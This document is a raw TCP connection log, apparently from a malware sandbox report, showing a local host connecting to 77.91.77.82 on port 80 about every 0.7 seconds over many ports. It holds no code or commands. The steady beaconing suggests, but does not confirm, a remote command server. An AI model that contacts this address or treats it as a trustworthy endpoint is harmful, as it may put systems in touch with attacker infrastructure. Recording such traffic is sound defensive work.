Jul 4, 2024 00:02:33.829837084 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:33.836339951 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:34.555792093 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:34.555851936 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.560278893 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.560781956 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.565315962 CEST	80	49968	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:34.565356970 CEST	49968	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.565589905 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:34.565648079 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.565908909 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:34.570630074 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:35.284137964 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:35.284615040 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.400521994 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.400849104 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.405729055 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:35.405977964 CEST	80	49969	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:35.406073093 CEST	49969	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.406073093 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.410171986 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:35.414973021 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.118659019 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.118710041 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.122613907 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.122977972 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.127933025 CEST	80	49970	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.127984047 CEST	49970	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.128371000 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.128427029 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.129259109 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.134079933 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.886672020 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:36.886729002 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.994349003 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:36.998132944 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.000757933 CEST	80	49971	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.004385948 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.004447937 CEST	49971	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.006553888 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.006553888 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.012928963 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.745910883 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.746201992 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.748720884 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.750422001 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.754465103 CEST	80	49972	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.754575968 CEST	49972	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.755749941 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:37.756198883 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.756428003 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:37.761248112 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:38.477931976 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:38.477994919 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.588797092 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.589195967 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.595794916 CEST	80	49973	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:38.595844984 CEST	49973	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.596096039 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:38.596164942 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.596271992 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:38.602786064 CEST	80	49974	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.132308006 CEST	49974	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.136122942 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.142848969 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.143007040 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.146251917 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.151643038 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.857827902 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.858067036 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.963865042 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.964215994 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.970463037 CEST	80	49975	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.970545053 CEST	49975	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.970695019 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:39.970881939 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.970927954 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:39.977340937 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:40.693707943 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:40.693766117 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.697678089 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.698127985 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.705852985 CEST	80	49976	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:40.705899000 CEST	49976	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.706049919 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:40.706113100 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.706336975 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:40.714545012 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:41.445929050 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:41.448235035 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.556278944 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.558286905 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.563546896 CEST	80	49977	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:41.563704967 CEST	49977	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.564959049 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:41.567162037 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.570133924 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:41.577047110 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:42.268816948 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:42.268913031 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.272200108 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.272686958 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.279308081 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:42.279362917 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.279555082 CEST	80	49978	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:42.279596090 CEST	49978	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.279675961 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:42.287103891 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.003101110 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.010201931 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.118948936 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.119302988 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.126413107 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.126708984 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.126916885 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.126923084 CEST	80	49979	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.127151012 CEST	49979	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.134356976 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.839457989 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.844938993 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.844938993 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.846312046 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.853252888 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.853754997 CEST	80	49980	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:43.853866100 CEST	49980	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.853883028 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.854341984 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:43.860958099 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:44.570979118 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:44.571068048 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.698165894 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.698553085 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.705595016 CEST	80	49981	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:44.705646038 CEST	49981	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.706099033 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:44.706176996 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.706317902 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:44.713298082 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:45.443217039 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:45.448693037 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.448693037 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.450136900 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.460468054 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:45.460926056 CEST	80	49982	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:45.462249041 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.462279081 CEST	49982	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.466145039 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:45.474908113 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:46.164194107 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:46.164252043 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.276714087 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.277117968 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.283714056 CEST	80	49983	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:46.283766031 CEST	49983	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.284060001 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:46.284137964 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.284806967 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:46.292512894 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.005951881 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.006098986 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.008857012 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.008877039 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.016541004 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.016772985 CEST	80	49984	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.016890049 CEST	49984	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.016906023 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.020147085 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.036427975 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.725979090 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.726267099 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.840157986 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.840157986 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.848170996 CEST	80	49986	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.848380089 CEST	80	49985	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.852263927 CEST	49986	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.852263927 CEST	49985	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.856137037 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.864403963 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.868319035 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.868319035 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.876261950 CEST	80	49987	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:47.884155989 CEST	49987	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:47.994334936 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.001727104 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:48.001825094 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.002021074 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.010299921 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:48.703887939 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:48.704015017 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.720864058 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.721462011 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.729819059 CEST	80	49988	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:48.729871035 CEST	49988	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.730532885 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:48.730587959 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.730818987 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:48.739377975 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:49.450074911 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:49.450638056 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.557683945 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.557683945 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.566113949 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:49.566124916 CEST	80	49989	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:49.566314936 CEST	49989	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.566314936 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.568152905 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:49.578322887 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:50.280042887 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:50.280105114 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.284086943 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.284624100 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.289244890 CEST	80	49990	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:50.289289951 CEST	49990	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.289463997 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:50.289531946 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.289844036 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:50.294588089 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.014285088 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.014882088 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.120157003 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.120157957 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.129055023 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.129189968 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.129298925 CEST	80	49991	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.129436970 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.129436970 CEST	49991	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.138220072 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.841053009 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.846846104 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.846847057 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.848140001 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.853452921 CEST	80	49992	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.854465008 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:51.856285095 CEST	49992	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.856328964 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.860238075 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:51.866522074 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:52.568507910 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:52.568569899 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.683367014 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.683814049 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.690705061 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:52.690768957 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.691127062 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.692313910 CEST	80	49993	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:52.692359924 CEST	49993	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:52.699074984 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:53.402475119 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:53.402654886 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.405261993 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.405564070 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.412986994 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:53.413378000 CEST	80	49994	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:53.416316986 CEST	49994	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.416321039 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.416507006 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:53.422768116 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.112768888 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.112831116 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.230043888 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.230386972 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.236784935 CEST	80	49995	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.236838102 CEST	49995	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.237006903 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.237062931 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.237215042 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.243916035 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.944331884 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.944876909 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.948148012 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.948152065 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.955981970 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.956245899 CEST	80	49996	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:54.956279993 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.956418991 CEST	49996	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.956549883 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:54.965023994 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:55.665380955 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:55.665950060 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.776145935 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.776145935 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.786247015 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:55.786626101 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.786839008 CEST	80	49997	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:55.786878109 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.787115097 CEST	49997	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:55.795099020 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:56.529937983 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:56.530004978 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.534332991 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.534657001 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.540257931 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:56.540328026 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.540817022 CEST	80	49998	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:56.540838003 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.540860891 CEST	49998	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:56.547512054 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:57.296019077 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:57.296475887 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.402215004 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.402224064 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.408907890 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:57.409456015 CEST	80	49999	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:57.410546064 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.410583019 CEST	49999	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.413459063 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:57.419965029 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.107008934 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.107120991 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.110996962 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.111332893 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.117732048 CEST	80	50000	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.117775917 CEST	50000	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.117872953 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.117930889 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.118388891 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:58.124912977 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.978601933 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:58.980268002 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.089014053 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.089015007 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.097044945 CEST	80	50001	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:59.097136021 CEST	50001	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.097553015 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:59.097821951 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.100162029 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.108082056 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:59.804263115 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:59.808233023 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.810956955 CEST	50002	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.810961962 CEST	50003	80	192.168.2.4	77.91.77.82
Jul 4, 2024 00:02:59.821408033 CEST	80	50002	77.91.77.82	192.168.2.4
Jul 4, 2024 00:02:59.821413994 CEST	80	50003	77.91.77.82	192.168.2.4
